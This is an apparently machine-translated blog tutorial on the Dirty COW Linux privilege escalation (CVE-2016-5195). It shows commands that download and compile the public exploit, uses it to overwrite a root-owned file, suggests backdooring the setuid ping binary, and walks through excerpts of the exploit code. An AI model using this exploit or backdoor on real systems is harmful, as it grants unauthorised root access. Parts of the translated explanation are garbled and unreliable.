RNRF 2021. 11. 3. 00:57

22. Explaining Dirty COW local root exploit - CVE-2016-5195

: Content
-> dirtyc0w
local privilege escalation
user(1000) -> root(0)
found by Phil Oester in the wild
original finder: unknown

: The vulnerability is very old and is that the end user of the system will be a local elevation and root.
-> Let's look at it and explore how it works.

: Download and compile the exploit using a vulnerable Ubuntu system.
-> wget https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
-> gcc -pthread dirtyc0w.c -o dirtyc0w
-> It then creates a root-owned file that is not available to end users
-> sudo su root
-> vim root_file
this file belongs to root
-> echo “can I write it?” > root_file
bash: root_file: Permission denied
-> The files you create can be read but not written.

: This method applies to many files in a file system, such as the "ping" binaries.
-> ls -al /bin/ping
-rwsr-xr-x 1 root root 64424  6월 28 20:05 /bin/ping
-> s: setuid bit set / root: owned by root
-> "ping" belongs to "root" and the "setuid" bit is set.
-> echo “backdoor()” > /bin/ping
-> This can be done by anyone and is done as root, but Ping doesn't do much.
-> The root file we created is similar to a file such as "ping" or binary.
-> It is owned by Rout and cannot be used.

: Let's run "dirtyc0w".
-> ./dirtyc0w root_file “yes I can!” # root_file: filename
-> Now by running "dirtyc0w" and passing on the root file and specifying the desired string, we can observe that the string was written to the file.
-> cat ./root_file
yes I can!belongs to root # Print Error: this file belongs to root
-> We, as general users of the system, wrote a string to the root file we did not have.
-> We can now write backdoors in the "ping" binaries.
-> You can always be a root even if you don't know the password for "root."

: Now, let's understand the exploit code.
-> First check the "main()" where the code begins.
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping.  Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file.  It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/ # MAP_PRIVATE => enables cop_on_write: This is part of the name of this vulnerability.
/*
You have to open the file in read only mode.
*/
  f=open(argv[1],O_RDONLY); # open the root file
-> First, open the file you want to write to "READ_ONLY".
-> Then call "mmap()"
/*
You have to open with PROT_READ.
*/
  map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0); # map a file into memory
  printf("mmap %zx\n\n",(uintptr_t) map); # f = open(…) / PROT_READ => the mapped file is only readable / MAP_PRIVATE => enables copy_on_write
-> "mmap" is used in the current process to create new mapped memory segments.
-> One of these parameters can be a file disk, in which case the file "READ_ONLY" is a file.
-> This means mapping the file to a new memory area.
-> The permission flag also indicates that this new memory area is "READ_ONLY".
-> With this flag, "mmap" does not copy the entire contents of the file into memory.
-> Put the file into memory.
-> This feature is excellent because it does not require a large amount of memory to load a copy of a file.
-> Read directly from a file on the disk.

: The important point here is that "mmap" can read the contents of the file in the root file or write to a copy.

: The next thing to describe is two threads that will be executed in parallel.
/*
You have to do it on two threads.
*/
  pthread_create(&pth1,NULL,madviseThread,argv[1]);
  pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
-> The first thread is "madviseThread."
-> This thread uses "syscall madvise," which is probably meant to mean memory advisor.
-> Therefore, this "syscall" can be used for optimization.
-> man madvise
DESCRIPTION
       The  madvise()  system call is used to give advice or directions to the kernel about the address range begin‐
       ning at address addr and with size length bytes In most cases, the goal of such advice is to  improve  system
       or application performance.
-> Information on how you want to use the memory mapping area can be provided to the kernel.

       Initially,  the system call supported a set of "conventional" advice values, which are also available on sev‐
       eral other implementations.  (Note, though, that madvise() is not specified in POSIX.)  Subsequently, a  num‐
       ber of Linux-specific advice values have been added.

   Conventional advice values
       The  advice  values listed below allow an application to tell the kernel how it expects to use some mapped or
       shared memory areas, so that the kernel can choose appropriate  read-ahead  and  caching  techniques.   These
       advice  values  do  not influence the semantics of the application (except in the case of MADV_DONTNEED), but
       may influence its performance.  All of the advice values listed here  have  analogs  in  the  POSIX-specified
       posix_madvise(3) function, and the values have the same meanings, with the exception of MADV_DONTNEED.
-> There are many technologies in how to handle caching, so you should look ahead.
-> Kernel is memory mapped to inform area.
MADV_DONTNEED
       Do not expect access in the near future.  (For the time being, the application is  finished  with  the
       given range, so the kernel can free resources associated with it.)

       After a successful MADV_DONTNEED operation, the semantics of memory access in the specified region are
       changed: subsequent accesses of pages in the range will succeed, but will result in either  repopulat‐
       ing  the  memory  contents from the up-to-date contents of the underlying mapped file (for shared file
       mappings, shared anonymous mappings, and shmem-based techniques such as System V  shared  memory  seg‐
       ments) or zero-fill-on-demand pages for anonymous private mappings.

-> Another thread, "procselfmemThread," opens the file "/proc/self/mem".
-> "/proc" is a so-called pseudo-file system.
-> In fact, most of the resources on Linux are managed by this file
-> Therefore, always enclose the file in double quotes when talking about it.
-> Imagine being able to read or write to a file.
-> “/proc” => information about processes
-> “/proc/self” => current process
-> In this case, "/proc/self" represents the special file provided in the current process.
-> Therefore, every process has its own "/proc/self".
-> “/proc/self/mem” => the memory
-> And there's a file called "mem." This is the memory of the current process.
-> Therefore, theoretically read the file memory can read his process.
-> Now, in this case, the exploit is WRITES to this file in a loop.
-> First, perform a navigation to move the current cursor to the beginning of the file.
-> We mapped it to memory.
-> Then write a string that is delivered through the program argument.
-> Therefore, it is possible to trigger a copy of the memory, record it in memory, and view these changes
-> However, it does not write to actual underlay files.